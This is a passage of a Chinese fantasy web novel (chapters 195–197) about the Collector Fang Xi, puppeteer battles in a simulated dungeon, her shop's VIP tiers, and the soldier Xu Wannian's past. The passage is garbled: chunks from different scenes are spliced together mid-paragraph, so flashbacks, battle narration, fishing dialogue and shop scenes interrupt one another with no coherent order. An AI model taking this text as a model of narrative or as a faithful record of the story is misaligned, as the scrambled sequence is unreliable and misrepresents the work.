杜长官焦急地问：“你们队长呢？徐万念呢？她活了还是死了？！” 数名被徐万念挡在身后、昏迷数天的队友，他们张了张嘴巴，想解释情况。 但，人类脆弱的大脑，混沌的灵魂，伤痕累累的意识，却在这一刻被乌黑的浓雾搅拌成浆糊。 连真相，仿佛也变得遥远起来。 并没走出多久的徐万念，敏锐察觉不远处的声响，立刻丢下手上的草药，飞快地拨开荆棘丛，跑了回来。 队友说：“徐万念逃跑了。” 什么？ 徐万念无声无息的脚步顿住，站在原地，发愣。 熟悉的声音逐一响起。 “她就是逃兵！” ——我……逃跑了？ 宋白玉立刻撤回刚刚的那句话，并努力岔开话题，掩饰内心的别扭。 接下来，方羲和宋白玉有一搭没一搭地闲聊了很久。 睡完大觉的一千零二，忽然又飞了过来，狐疑地看了看这两个待在一起的人，总感觉她好像错过了什么不得了的事情。 方羲想了想，伸手逮住一千零二，在她肚子翻找出了半天，终于摸到一块她前几天新做好的神奇石头，握在手掌心。 “你低一下头。” 宋白玉听见方羲这么说，立刻照做。 “张开嘴巴。” 一块温润的白玉递到猎人的唇边。 “吞。” 猎人咬住这块石头，几乎是顺从某种颤栗的本能，依言吞了下去。 “这样可以吗？” 下坠。 下坠。 白色的软玉先是化作星辰微粒，混入血液中一起流动，最终汇入心房。 渺小的星辰重新凝结回玉石，与心脏一起扑通扑通地跳动。 “这样就不容易丢了。” 宋白玉有些发愣地看着方羲，忽然抬手摸了摸她的左眼，忍不住笑道：“你的眼睛也在跳。” “嗯，是啊。” 第 195 章 第 195 章 “对2。” “不出。” “三个6。” “三个K。” “……” 方羲的手微微颤抖，来了！胜利就在眼前！ 宋白玉和秦淮月观察着方羲千变万化的微表情，对视一眼，纷纷选择了“不出”。 方羲微微一笑，把所有牌丢了出去：“顺子。” “我又赢了。”方羲喜滋滋地收下赌金。 真没想到，她的牌技忽然涨得这么快，毕竟和春醒南瓜她们打牌的时候，她总是输。 也可能是因为失败是成功之母，输的多了，她不知不觉就开窍了！ 观战的900一言难尽地看着方羲，心想他从未见过牌技和手气如此差劲之人，对面两个人类几乎是怼着脸喂牌了，才勉强让方羲连胜三局。 偏偏某人还以为胜利全凭自己的实力。 宋白玉转头看了看窗，发现天色已经很黑了。 秦淮月问：“还玩吗？” 春醒没再理她，移开了视线。 春醒觉得这只是方羲的借口，以她对某人的了解，所谓的定制商品，应该只是摆着好看，做不到每天都营业。 方羲游荡够了，转身回头一千平方米之后的后展厅，大摇大摆地坐着，怀里躺着一只橘色毛绒绒。 她开始研究阿拉斯代尔之城的专用商铺管理功能。 第一次发布广告的时候，系统告诉她因为信用分不足，导致无法进行正常的推流……后来也不知道为什么恢复了正常，流量还很高。 废物店长并不知道，其背后的原因，是某群上网冲浪摸鱼的密匙玩家，特地找到商业城的管理者，到处嚷嚷祸祸，给她抢来了这场泼天富贵。 这也导致，现在连某些云玩家，普通生活玩家，退役多年的密匙玩家们……都知道了“收藏家的小卖部”。 方羲盯着屏幕，正在绞尽脑汁思考，该搞点什么样的营销手段，才能让小卖部的经营利益最大化呢？ 要不，划定一下客户消费的等级？ 这么想着，方羲立刻开始捣鼓！四名首席玩家听见方羲这边的声响，也顺势看过去，他们对这场僵持不下的战局有些兴趣寥寥。 只要方羲不摆烂，她的一举一动，更能吸引首席玩家的注意力。 一夕委屈地说：“我很想下去！但这些傀儡师和造梦家都不允许近战手下场！” 方羲看着远处，并未受到多少伤害的巨象，微微眯眼，没回答。 林镜子轻轻叹气，说：“决策太保守了。” “不。”宋白玉笑道，“以我对笔底烟花的了解，她以前从来不会这么谨慎，经常把副本当成游戏一样玩，完全不会顾及队友的伤亡，甚至是输和赢，对她来说也不重要。” 难道是因为知道【白乌鸦】在，这名仅注册不足三月，就爬到新晋前一百名的神秘玩家——被短暂地勾起了胜负心吗？ “不过，八千棋局倒是和以前一模一样。”宋白玉摸摸下巴，“他过于犹豫谨慎的性格，反而拖累了自己本身的天赋……” 方羲忽然咦了一声，眼睛一亮：“大灰狼？” 只见，一只威猛帅气的大灰狼，从城墙之上率先轻轻一跳。 矫健的身姿在这一刻凝为清晰的弧线。 无声无息地落地。 再两秒后，一群大灰狼露出脑袋，耳朵动了动，纷纷紧随其后，跳跃、落地，跟在头狼的身后。 狼群走过的地方，竟然发生了奇异地覆雪，仿佛所到之处皆是雪地。 而每一只大灰狼身上，也隐约沾染着晶莹的雪花，浑身上下自带一种霸气侧漏的凌厉感。 “呜——” 方羲瞬间精神一振，苍蝇搓手，她没什么意思，就是觉得手有点痒。 这、这可是野生狼！ 看看这毛皮，多么光滑细腻！ 首领狼似乎察觉到一股异常灼热的视线，疑惑地看过去，发现居然是一只强大的人类！她的一举一动仿佛都闪烁着强者的霸气！ 比它们那只弱小可怜、被挨打也不敢还手的主人更厉害！ 首领狼.友好地朝方羲低呜一声，然后转身，带着狼群开始飞奔。 红色的风沙之间，被迫添上了一道雪云。 放眼看过去，干枯开裂的大地，以奔跑的狼群为尖点，呈现着金字塔一样的形状，被覆盖上一片永不融化的大雪。 “太好了，是八千棋局的狼傀儡！” “我们近战手是不是可以下去了？” “空气里的异端细胞在死亡，看来是被【雪地灰狼】净化了！” 笔底烟花往方羲所在的地方看了一眼，皱了皱眉头，感觉很奇怪，这个人为什么从头到尾也不说话？ 她想了想，最终没再犹豫，而是果断地高喊道：“近战手们，立刻落地，跟在狼群之后！” 一夕期待地戳了戳方羲，目光炯炯，仿佛在等待方羲的命令。 方羲却忽然看了一眼大地，脸色有些发冷。 好多血。 一堆从极远之处，汩汩向下流的血。悄悄藏在雪地之下，几乎贴近人类的城墙，无人察觉。 陷入冬眠的大异端，醒了一只，躲在游戏投影的虚拟巨象之下。 似乎打算，对这群尚未来得及进化的蚂蚁，发出致命一击。 方羲漫不经心地扫了一眼其他碉堡，那些蓄势待发的猎人，托举生命与引路的造梦家，还有那两名为首的傀儡师。 也是。 “嗯，去吧。”方羲懒洋洋地说，在虚空中扯下一团金线，打算现场捏个望远镜。 这次，她就负责善后好了。 一夕眼睛一亮，立刻攀上护栏，从城墙轻松地一跃而下，与其他猎人一样，身影没入纷飞的大雪。 踏樱的攻击范围很广，也不需要离开“安全区”。而且对她来说，待在白鸦身边，战斗更有意思。 “不过……”方羲的声音有些低。 “怎么了？”踏樱转过头，疑惑地问。 四名观战的首席玩家，也好奇地竖起耳朵。 “既然有雪地灰狼，那它们的【小红帽】去哪了？” 同样站在雪地之中，身披长长的红色斗篷，指挥着群狼，举着猎枪，帅气地一眨眼，就能够一枪崩碎敌人头颅的【小红帽】。 “故意拆成一半使用，这对傀儡不好吧？既不能发挥出完整的实力，还容易损坏。” 方羲的声音很低，天空又下着大雪，自然传不到其他碉堡上，只有旁边的踏樱和四名首席玩家，才能听得清楚。 五个人同时默了两秒。 踏樱努力回忆了一下，诚恳地说：“白鸦，我没见过八千棋局手里，有你说的这个傀儡。或许那是他特地留有的后手？” “这样吗？” 方羲继续专心致志捏造临时的望远镜，打算观察观察这些想要偷袭的异端到底长什么样。 根据消费金额的不同，VIP和SVIP分别设置六个等级！每升一级，可以享受一定程度的商品折扣和礼品免费赠送！ 最最最至尊无敌超级豪华版的SVIP6，消费五十万即可获取！还可以加入收藏家唯一开设的福利小群，享有金灿灿且独一无二的群称号！ 包括但不限于收藏家的头号小粉丝、晨乌猫猫宠爱的人类、春醒的暴富小钱包、夏青禾的跟班N号、黑山羊的狂热信徒、一千零二的忠诚追随者…… 方羲深沉地摸摸下巴，她就不信，会没有大冤头上钩！ 逐级设置好消费等级和福利，还有建群，只要有人一旦达成SVIP6的消费金额，就会被系统自动邀请入群！ 准备好一切之后，方羲在旁边沙发上，找了个最舒服的姿势躺下，开始上网冲浪摸鱼。 再次久违地打开“白乌鸦”的后台好友私信，那恐怖的99+，难道是踏樱发的？ 但这次和方羲预想中有所不同，点进去才发现，踏樱只发了二十多条未读消息，剩下的全是陌生的新晋玩家的好友申请。 方羲的头顶缓缓冒出一个问号。 仔细查看一下这些玩家的名字，很多都是参加前天临时特训的排名前一百的新晋玩家…… 至于申请理由，大部分都是莫名其妙的卖萌撒娇打滚，附带对自己的职业、战场经验和战斗特点的自我介绍，并表示他们会永远追随“白乌鸦”。 方羲沉默了。 方羲感到一丝莫名其妙的熟悉感。 这不就和之前，收藏家后台那一堆999+的私信一模一样吗？ 但考虑到这是新晋玩家，方羲想了想决定区别对待，将这些申请一一点击通过。 期间，指尖在“八千棋局”的好友申请上顿了几秒。 说起来，今天晚上，八千棋局应该会带梨花雪过来。 实际上，哪怕只看八千棋局和宋白玉的一面之词，方羲一开始也觉得，那些密匙造梦家的诊断也不能说是错。 灵魂相对脆弱的“梨花雪”，只要不参加游戏副本，在异端突袭率较低的地方居住，日常听从医嘱，注意保养身体，也能维持正常人的生活。 但这些想法，就在前天，方羲在寻找上帝之左眼，意外发现的日记本之后，全部戛然而止。 方羲摸摸下巴，莫名其妙笑了一会。 一个认为梨花雪腼腆脆弱、是自己妹妹的哥哥，光明磊落的傀儡师。 一个认为八千棋局卑劣虚伪、是自己弟弟的姐姐，愤世嫉俗的幕后玩家。 真有意思。 这两个人，是在争夺灵魂的主权吗？ 这么想着，方羲便给“八千棋局”的好友申请点击了通过。 但“争夺灵魂”一点还是要打个问号，因为梨花雪在日记本中，隐晦地提及了几句，她似乎更想要献祭自己。 方羲终于处理完99+的好友申请，然后点开和踏樱的聊天界面。 “你知道吗？我居然很少再想起你，因为我成为首席玩家之后，荣誉与权势纷沓而来，连真心的战友也忽然间多了不少。” 方羲：“……(゜ロ゜)” 原来这就是踏樱隔了很久也不给她发一条消息的原因？ 毕竟她以前不是这样的。 “但是。”踏樱顿了一下，明明鱼竿在拼命晃动，却只是站在原地，死死地握着，什么也不做，“每一次我濒死的时候，我都会想起那天你进入【王都】的事……” 造梦家呢喃的声音，顺着海风一点点消失。 “我真的很后悔。” “明明当时你都犹豫了……我不该犹豫的，我居然还反推了你一把……” 这就好像，是我为了一己之私，亲手杀死了伟大的救世主。 过了半响，踏樱忽然听见了方羲回答的声音。 和以前一样，带着点漫不经心的语气。 “没关系的。” “因为是我高估了自己，才犯下这么巨大的错误。让那把悬而未决的刀早点落下也好，毕竟疼痛会让人头脑清醒。” “……错误？” 方羲忽然感觉鱼竿轻轻抖动了一下，精神一振，立刻收线！ 一只小银鱼瞬间被拔出海面！ 好小啊……好吧，但也不错了。 方羲把小银鱼丢进踏樱准备的水桶。 “你刚刚是问我说的【错误】是什么？”方羲笑了笑，“不是什么大不了的事，但既然你们想知道的话——我一会组织一下语言，想想该怎么和你们说吧。” 小银鱼跳了又跳，一副活力四射的样子，根本不像牢笼中的困兽。 在这个方羲与世界重逢的第一个夜晚……她终于钓到了人生中的第一条鱼！ ——看来她运气还没差到需要悲观的地步嘛。 第 196 章 第 196 章 方羲喜滋滋地把小银鱼揣进口袋。 把鱼竿随手丢到一边。 还语重心长地对踏樱说：“好好钓鱼，多弄点路上的物资。” 然后揣着小银鱼扬长而去。 踏樱狐疑地看着方羲离开的背影，她这样就不怕鱼早死吗？ 一抹暗绿忽然凭空诞生，冷酷地把方羲随手就丢的鱼竿收好。 留在原地正巧看到这一幕的踏樱：“……” 而已经来到第二层甲板的方羲，不顾其他玩家隐隐约约投来的好奇目光，一心寻找一个最显眼、适合摆放大鱼缸的位置！ 很快，方羲在一块空地前站定。 她正想熟练地翻找……哦一千零二不在啊，于是方羲只好又跑上露天甲板一趟，找到某只正在辛勤喂鱼的眼珠子。 一千零二一听有偷懒的机会，立刻听话地飞过来！ 方羲点开通知大群看了看，那一串时间紧密的魔鬼特训，看得她心惊胆颤，立刻关掉！ 此时，后展厅的门忽然被打开，飘进来一本黑壳书。 她哀声叹气地飘到方羲旁边，长出一双透明之手，从自己的肚子里找出一套【自动烧水煮茶的贵族牌茶壶与茶杯】，给自己倒了一杯热气腾腾的红茶。 方羲看着她，翻了一页，将红茶往外表为书页实则为无穷世界的肚子倒了一小口，悠悠地叹气一声，又倒了一小口。 还怪老气横秋的。 一千零二：“我好痛苦。” 方羲没理。但方羲的随口一说，反而掀起了首席玩家的惊疑。 林镜子打开游戏面板，认真看了看，疑惑地说：“【雪地灰狼】的傀儡详情，本来就相当完整，群狼就是整个完整的傀儡。收藏家为什么这么说？” 宋白玉努力回忆了一下，忽然说：“说起来……笔底烟花有段时间经常嘲讽八千棋局，说他的傀儡损坏率非常高，现在能够留在档案上的，已经是相对【完好无损】的几个了。” 此时，隐藏于红色风沙中的长条虫子、毒蝎和眼镜蛇，被大雪吹到了地上。 但它们也顺势躲在了白茫茫的雪地中。 八千棋局见此，又立刻召唤出第二只傀儡【兔子先生】。 兔子先生长着一对白粉色耳朵，穿着西装礼服，头顶一只绑着红色蝴蝶结的礼帽，脸上带着面具，没有露出人脸，但玩家们隐约能根据其体型，判断出这是一名十六岁左右的少年傀儡。 方羲又看了一眼，嘀咕了一句：“又是半成品。” 踏樱也跟着打量了几眼，不过她也不是傀儡师，看不出什么门道。 但踏樱也没怀疑方羲的话，而且好奇地问：“为什么是半成品？” 兔子先生左手拿着一只古董手杖，似乎听见了方羲与踏樱等人的对话，兔耳朵悄悄往侧边歪了一下，像是在偷听。 “没有【爱丽丝】的兔子洞，还能算兔子洞吗？” 兔子先生闻言，这对兔耳朵瞬间委屈地卷成一圈，不想再听到某人的声音。 他轻轻一挥手杖，带起一阵冷风。 群狼奔跑而过的雪地，瞬间被劈出一个巨大的黑洞。 无数躲藏起来的毒蝎子、长蛇和昆虫，渺小的身躯搅拌着冰冷的雪，一同坠入这个看不清地底的兔子洞。 然后，兔子先生取下头顶的礼帽，朝着远处的巨象优雅地鞠了个躬。 一个更巨大、更深邃的黑洞，直接在巨象的脚底出现。 巨象的两只前腿，轰然掉进了兔子洞里，鲜血直流，在雪地上覆了一层红布。 已经来到巨象附近的猎人们见此，惊叹地喃喃道：“不愧是八千棋局……” 就算他总是犹豫不决，决策魄力不够，有时候甚至会反被傀儡要挟殴打，无法完美令每一只傀儡服从人类的命令。 但至少——在一众新晋玩家眼中，八千棋局创造出来的傀儡，是他们所知范围之内，构造最精巧、最奇妙的武器。 哪怕他的傀儡从来没有一个加入过灵魂，也足够灵动强大。 但是……猎人们的惊叹尚未维持多久，兔子先生却像是耍够了酷，在自己脚跟前划了一个只能容纳人身大的小黑洞，跳进去，哗啦一下消失了。 一千零二：“但我又有点小紧张，这是我第一次上班。” 方羲继续上网摸鱼。 一千零二：“我不会搞砸吧？” 方羲想了想问：“现在是你的休息时间？” 一千零二闻言，瞬间勃然大怒：“没错！这只可恶的藤蔓，居然只给我短短五个小时的休息时间！她太可恶了！” 方羲很同情，并好奇地拿了一只茶杯，一千零二见此，顺手也给她倒了杯红茶。 “这茶叶……哪来的？”方羲喝了两口，感觉味道特别醇厚，奇怪地问道。 “哦，这个。”一千零二说，“我刚刚出门转了一圈，在一家茶铺子买的，一斤两千个金币，我买了五斤，凑了个整。这个茶比你做的什么垃圾冰茶好喝多了吧！” 方羲裂开了，夺少？！“如果不落地的话，这个战斗场景对近战手可不算友好。”宋白玉懒洋洋地说，“对了，你们和一夕谈过了吗？对她来说，换一种武器或许更好吧？” 秦淮月闻言，看了眼一夕手中的长枪。 她倒是知道这名玩家的现实身份，一名成绩屡次退学边缘徘徊，且多次违反军令，最终就读不满一年，就被勒令退学的军校生。 秦淮月从环星前线退役回来后，一直在帝国第一军校附近居住，所以在新晋期的时候，偶尔也会帮忙处理一点学校的事务。 所以，偶然之下，也算见过在当时尚未注册失乐园账号，本名为“徐万念”的一夕。 事实上，徐万念的体型并不出众，在士兵中，甚至称得上有些瘦小。而且身高比并非军人出身的收藏家，还要矮几厘米。 但帝国第一军校的定位非常特殊，和常规兵种不同，所以不会在普通的身高体重上卡人。 更何况，徐万念在入学考试中，所展现出的战斗天赋，直接以新入门者，掀翻了一众从小训练到大的预备兵，并被同期生冠之以天才的名号。 但好景不长，这副看似乖巧的好学生面孔，很快露出了连长官也感到苦恼的尖刺。 杜长官苦口婆心劝道：“万念啊，别老是殴打你的同学，你这这这这把他们打进医院怎么回事？这都已经第八次了，别再犯了！” “哦。” 一个月后。 杜长官喃喃道：“哈哈，第二十次，我没疯，真的。” 原本，打架斗殴确实不算什么稀罕的事，而且徐万念特地挑着非致命处下手，但频率实在过高了亿点…… 于是，军校长官看在她天赋异禀的份上，背后又的确事出有因的份上（来自同期生不服的挑衅），徐万念最多也只是被关禁闭、挨揍、罚钱等无伤大雅的小惩罚。 但这一切鸡飞狗跳的军校生活，在训练基地突逢异变之后，一切都戛然而止。 “异端突袭！所有学生立刻归队！！” “这一片地方，不是早就被锚点净化了吗？难道失乐园出现故障了？！立刻联系密匙玩家，请求支援！！！” “检测到相关锚点了吗？” “来不及了……送这些新兵回去！” “第五十六排集合完毕，第五十七排……徐万念他们呢？！？！” “报告长官！第五十七排昨天刚刚进入野外场，先行进行第一轮训练！” 黑云。 沉沉地从天空坠落，碾碎地面的蚂蚁。 徐万念挡在同伴面前，发愣地看着眼前的巨大黑影，心脏扑通扑通地跳，整个人丑陋地半跪在地面。 双手从来没这么抖过，几乎握不住武器。 耳朵只听见了一片嗡鸣，疯狂地流血。 同伴推了一把徐万念，却没推动，只能嘶哑着声音说：“你快逃！！” 黑影似乎听到了蚂蚁的声音，巨型脑袋猛地贴近徐万念脸上，歪歪头，露出一个血口微笑。 “这么容易死？这可不好玩。”黑影仔仔细细打量了一番这两百个人类，抬起手，挑出长得最强壮的，扔进嘴里，嚼嚼嚼。 细数下来，它一共吃了一百六十八个蚂蚁。 “啊……” 徐万念张了张嘴巴，但喉咙艰涩到，连尖叫也喊不出来。 黑影对瘦小的徐万念不感兴趣，把玩了一下其他人类，但没玩死，又丢回地上。 它又抬头，看了看那些企图闯入迷雾的人类军队，懒洋洋地打了个哈欠，伸伸懒腰，决定收手，让这场一时兴起的闹剧就此为止。 不过，黑影转了转为数不多的脑子，看向地上几只蚂蚁，怜悯之心顿生：“那是来找你们的吗？” “那就，给人类留下一点种子。” 黑影伸出概念意义上的手，轻轻搅动了迷雾，努力治好这些可怜的蚂蚁。说实话，它毕竟是一只异端，怎么会治疗呢？只能看这些人类有没有这个灵魂资质，来享用它的力量。 如果不小心把蚂蚁的脑子弄坏，那可不关它的事！ 黑影看了两秒，遗憾地发现没有重伤濒死的蚂蚁，恢复满血状态。 方羲看待一千零二的目光瞬间不一样了……春醒是去赚钱的，而一千零二，是来花钱的！ 但作为人偶们的主人，方羲最终什么也没说，只是深沉地叹了口气。 今天的零点，失乐园也恢复了正常的游戏运行，很多普通生活玩家和新晋玩家都上线了。 一千零二刚刚说的茶铺子，其店主恐怕也是在游戏开放的一刻，立刻上线了——毕竟在这片租金昂贵的商业城，少营业一天，亏损可大得去了。 方羲想了想，又好奇地问：“你们昨天究竟在忙什么？展厅的东西不是早就打扫干净了吗？” 一千零二深沉地说：“盛大的开幕礼！你不知道吗？虽然这主意是我几个小时前临时起意的！但藤蔓也允许了，她还让我担当主导的表演者！对了，主人，你手里有一个【魔术师】的神圣称号，我等会要拿去玩。” 方羲并不关心人偶们究竟想干什么，只敷衍地说：“东西都在你肚子里，随便用就是了。” 方羲收回思绪，继续摸鱼。猎人“一夕”，也才刚刚签署协议，加入黑天鹅不久。 所以，当徐万念看见曾经像母亲一样、对她如亲生孩子的杜长官，正笑着安慰那些曾经拍着胸口说她是朋友的旧队友之时。 这只沉寂了两年，大脑在是与否之间混沌挣扎的疯犬，却在这一瞬，胸口掀起滔天怒火。 灼热到，让她忍不住伸手，指尖往自己的灵魂里刺进去，企图扯出某个寄生了足足两年的异端种子。 而这个举动，在其他玩家看来，则是猎人一夕，忽然莫名其妙发疯，还在掏自己的心脏。 杜长官也立刻注意到“一夕”的异动，她身为退役已久的密匙玩家，自然不会对这种事件置之不理，立刻大步上前，阻止她的自残。 “你不是傀儡师！别贸然触碰自己的灵魂，请立刻收回手！” 但杜长官只是一名猎人，而且退役多年，无法贸然插手一夕的自残行为，因此只能在旁边看着。 并顺手点击军用手环，呼唤距离最近的造梦家。 “一夕”从喉咙艰难地滚出几个不成形的音节，发狠般地瞪视着杜长官，仿佛视她为仇人。 杜长官微微一愣，心脏一跳，脑海中闪过一丝模糊又熟悉的感觉。 一夕努力尝试了一下，但她依然无法说话。 啊啊……因为她长得最瘦小，所以被分辨不出蚂蚁与蚂蚁之间有什么区别的异端，轻飘飘地放过。 但也因为她最强大，所以才能无知无觉地撑过异端种子的啃食，没有死。 还最先一步站在这里，站在了新晋第一的位置，伸手抓住被扭曲的真相。 然后，终于从胸口彻底扯出异端种子的一瞬。 “我是徐万念！” 仿佛雷声，震耳欲聋。 一人，一猫，一书，搭配着热腾腾的醇厚红茶，就这么悠哉悠哉地度过了五个小时。 没有新地盘可以征服，生活真是一点意思也没有！ 于是极光号陷入了落灰的死寂。 而方羲与另外两只人偶的生活，也回归到死一般的平静。 上不了线…… 也出不去…… 哪怕杀光这些蓝星异端，哪怕制造出世界上最伟大的海盗船，好像也毫无意义。 直到秦淮月忽然出现的那一天。 “收藏家？” 方羲回过神，忍不住笑了一下，继续接着刚刚的话题：“但说实话，我也不太确定极光号开入失乐园，究竟会发生什么样的事情。嗯……因为它的性格很霸道，是我迄今为止，做过的侵略性最强的人偶。” 人偶？ 秦淮月敏锐地捕捉到方羲话里怪异的用词，但没有贸然打断她说话，只是专注地听着。 “只要是它开过的地方，一定都会诞生大海，留下被征服的印记……等等，秦淮月，失乐园价值多少亿？” 忽然被提问的秦淮月：“……？？” 方羲忧心忡忡道：“你说，万一失乐园被海水淹没了，帝国不会找我赔钱吧？” 第 197 章 第 197 章 秦淮月哭笑不得，抬手轻轻敲了敲方羲的脑袋，试图把她飘飞的思绪拉回来。 不过也欣慰地想着，幸好收藏家没什么变化。 就和以前一样，总是第一个任务没有做完，就转头跑去开启第二个任务，直到待办事项堆积了无数个，才迟钝地反应过来，最后大喊崩溃。 可真是毫无章法。 秦淮月：“放心吧，就算把你卖了，换来的星币肯定绰绰有余，够买十个失乐园。” 方羲：“这、这不太好吧？” 但方羲的担心并非空穴来风，她想了想，决定在极光号“醒来”之后，带上能言善语的一千零二、春醒、夏青禾，与调节气氛的老好瓜，还有打手艾莉克萨和猫猫们，一起好好敲打敲打这只霸道的船！ 可千万别把失乐园淹没啊！ 特别是阿拉斯代尔之城！她的小卖部还在里面呢！ 然后，方羲问秦淮月的军用手环里有什么存着一些有意义的知识录像，她想让黑盒子好好学学，增加生来为盒的技能。 秦淮月表示没有，他们军用手环大多都只储存和战斗有关的必需品。 方羲深感遗憾。 ——直到大厅钟声缓缓敲响，八点五十五分到了。 一千零二瞬间一激灵，直接丢下茶杯，飘了出门，差点把门给撞歪了！ 方羲也打开主展厅的实时监控，抱着猫猫，满脸严肃，开始进行线上巡逻！ 欧律狄刻：…… 殊不知，“收藏家的小卖部”相比于同行的材料小店，开店不仅很晚，还很短，实在有些辜负门外那一大票玩家。 小卖部的门口，队伍排得很长很长，人群不仅挤满了整个外围区的街道，连高贵的中心城区，也隐约能看见排队的身影。 “你们说，收藏家会来吗！” “（疯狂拍照打卡.jpg）”方羲顿时恍然大悟：“哦，原来是系统网速不太好，没事，毕竟你们今天刚刚恢复运行，我能理解。” 013：“……（欲言又止）” 方羲扫了一眼四周，发现很多新晋玩家脸色苍白，好像还没从刚刚的战役中回过神来。 既然特训结束了，那应该就没什么事了。 “踏樱，我回去了。”方羲转头说，表示她先走一步！有事再联系！ 踏樱微愣了一下，又笑了笑说：“嗯……那你记得好好照顾自己身体。” 方羲正想打开游戏地图，琢磨着回去先干什么。 但忽然间，另一道诡异的视线，幽幽地盯着方羲。 一夕：“……”在被大海染蓝的天空，忽然出现一排倒计时，像是仿真副本的结束预告，时间只剩下最后一个小时。 但巨象还在奋力挣扎，即使失去了两只前腿，象鼻也轻而易举卷起几个速度不够快的猎人，重重地抛向雪地，砸出一团惨烈的血迹。 笔底烟花神色微动，尤其看见远处那些反应不够敏捷、惊惧之下频频出错的近战猎手，脸上露出隐隐无法克制的暴躁。 为什么会频频失误？ 为什么要下意识逃跑？ 她已经复刻出一副完美的傀儡，新晋猎人的数量也足够多，造梦家也给予了足够的增益，为什么他们的杀敌效率这么慢？ 笔底烟花甚至暴躁地瞪了一眼旁边观战的首席造梦家程蔓野。 为什么不出战？ 程蔓野感觉莫名其妙，没理会笔底烟花恶意的迁怒，反而有些分神地想着，仿真副本的时间都快结束了，收藏家却好像从头到尾没有出现过。 但不只程蔓野这么想，笔底烟花也忍不住频频往方羲那边看。 【白乌鸦】越沉默，越让她感觉自己像个小丑。 她和踏樱一样，公民等级都不高。 “笔底烟花，请认真一点。”程蔓野忽然冷声说，“你身上的愤怒压过了理智，仔细看，鱼群在发生溃散。” 笔底烟花皱了皱眉头，胸腔虽然燃着怒火，却也没反驳——黑天鹅的体系，和帝国的公民等级体系截然不同，只要谁拥有强大的实力、过得去的心性，也能在现实中得到帝国一定程度的庇护。 毕竟是为帝国卖命的一群人，她勉强能理解。 但在笔底烟花眼里，有一件奇怪的事情一直存在。 她曾经与不少密匙玩家接触过，虽然有些家伙的确精神状态不太正常，但偏偏没有一个人想过退出失乐园。 简直是活脱脱在世的圣父圣母！ 至少，笔底烟花从没在这堆人当中，找到任何一个有话题的‘同类’。 为什么？ 黑天鹅究竟是有什么样的手段？把这么多来自四海八荒、身份完全迴异的帝国公民，全部洗脑为一群忠诚的士兵？ 程蔓野认真观察了一会笔底烟花的异变，无奈地叹了口气，和旁边的江簌说：“这个傀儡师的灵魂……能通过真实试炼吗？” “如果说战斗方面的实力，一定可以。”江簌微抬下巴，“你看，虽然她刚刚情绪不对劲，但只要稍微认真一点，世界就像她的掌中之物一样。” 但江簌顿了顿，仿佛意有所指道：“我也觉得很可惜，心底甚至还抱着一丝奢望，毕竟笔底烟花的确很有天赋，未来肯定能成为一个强大的傀儡师。” 二人对视了两秒，双双默契地叹了口气。 仅仅是通关真实试炼，也不一定能得到密匙的认可。 程蔓野轻笑了一声：“说得难听点，就像是筛选害虫一样。可是……八千棋局太不稳定了，怎么办？” “哈？不是有收藏家在吗？”江簌挑眉道，疯狂暗示。 “这不一样。”程蔓野却想得更远一些，“新星自然是越多越好，不是吗？而且让收藏家去花费时间培养预备役，你不觉得大材小用吗？即使是我们……在副本也屡次出错，差点跟不上收藏家的脚步。” 江簌也无奈地笑了笑：“现在上哪里找一个新的傀儡师？” 笔底烟花和八千棋局，只能二选一。 方羲：“……(゜ロ゜) 啊，那我走了？” 一夕得到了某人的告别，勉为其难地说：“好吧。” 方羲传送的时候，又隐约听见一夕的问话，好像是问她平时怎么训练，明天来不来浮空岛，还有什么时候可以再一起刷副本？ 摸鱼大王假装自己什么也没听到，在心里暗自捏了把汗，直接走人。 没什么重要的事，她再也不想来了。 “我能找收藏家要个签名吗？” “我看广告单上，好像是收藏家的傀儡负责干活营业？呜呜，居然有这么好的一个机会，可以近距离观摩收藏家的完美作品！” “（大声）猫猫、猫猫在哪？！？！” 曾经居心不良、想要抢小卖部地盘的某匿名举报者见此，缓缓打出一个问号，喃喃道：“什么情况？这里是要开偶像见面会吗？” 九点终于到了！ 在众人充满期待的目光之下，这家由收藏家开设的小卖部，其门口的小木门，终于缓缓打开，门后似乎有个什么身影，要走出来…… 是可爱的橘色猫猫吗？ 是手握巨型镰刀的黑山羊吗？ 是聪明灵动的藤蔓之傀儡吗？ 还是在传闻中，收藏家在恶魔副本当中，不畏惧异端的注视，当场制作出来的宇宙旅行家夏青禾呢？ 又或者……是伟大的收藏家本人，亲自到场呢？ 无数玩家期待地想着，眼睛一眨不眨。 涌动的人群，也在这一刻安静下来。 两秒后，小木门终于打开了…… 飘出来一本黑炭一般的……书。新晋猎人们：啊？！等等，回来啊！ 站在碉堡上的八千棋局，脸上隐隐有些发白，额上生出一片惊吓导致的冷汗。 “哼，果然是废物。”笔底烟花冷哼一声，手中的画笔终于落下。 她将画册上满满的一页撕碎，抛向高空。 白纸之上，是一片栩栩如生的海底世界。 碎片与雪花碰撞的瞬间，所有仅存于纸张的生命，在这一刻鱼贯而出。 颜色艳丽的珊瑚群，呆呆萌萌的小丑鱼，骨骼轻盈的深海人鱼，挥舞着最剧毒触手的蓝环章鱼，在海水中悠悠游动的蜉蝣生物…… ‘风沙’彻底陨落。 失落的大地，被倒转为深海的世界。 方羲伸出手，成功逮住一只路过的海龟！ 造梦家林镜子，神色惊叹地看着世界的变化，喃喃道：“这还是我第一次见到笔底烟花的能力……在资料上，她的傀儡师天赋只有一个【复刻】的词，原来是这样。” 曾经辅助笔底烟花的宋白玉倒是见怪不怪，甚至有些兴趣寥寥地嗯了一声：“她的傀儡不多，一直只有【画册】【笔记本】【彩笔】和【水晶球】。” “这些傀儡不会自主战斗，而是复刻的媒介。笔底烟花每一次可以根据副本场景的特性，现场复刻出曾经见过、并且能最有效针对敌袭的异端。” 见林镜子和秦淮月投来好奇的目光，宋白玉便多解释了几句：“放心吧，复刻出来的异端，会被转化为傀儡。当副本成功通关，这些真正能够战斗的傀儡才会消散。不过缺点就像踏樱刚刚说的那样，前摇太长了。” 林镜子问：“不能提前【复刻】吗？” “可以是可以……”宋白玉顿了一下，才说，“但无论是难度再高的仿真副本，对笔底烟花来说，也没有提前准备的必要。因为她的储备库里，有足够多的【异端】可以随心所欲地复刻。” 这也是，黑天鹅得知笔底烟花的天赋之时，决定为她匹配随时辅助的猎人和造梦家，带她直接跳级挑战高难度副本的原因。 因为她的傀儡路线，与孟逢霜、江同尘，甚至是同期的八千棋局截然不同。 她可以完美地模仿、复刻与重组，却无法创造。 秦淮月极其敏锐地看出了点什么，轻轻摇了摇头：“这或许不适用于真实战场。” 宋白玉笑了笑，微微点了点头。 的确如此。 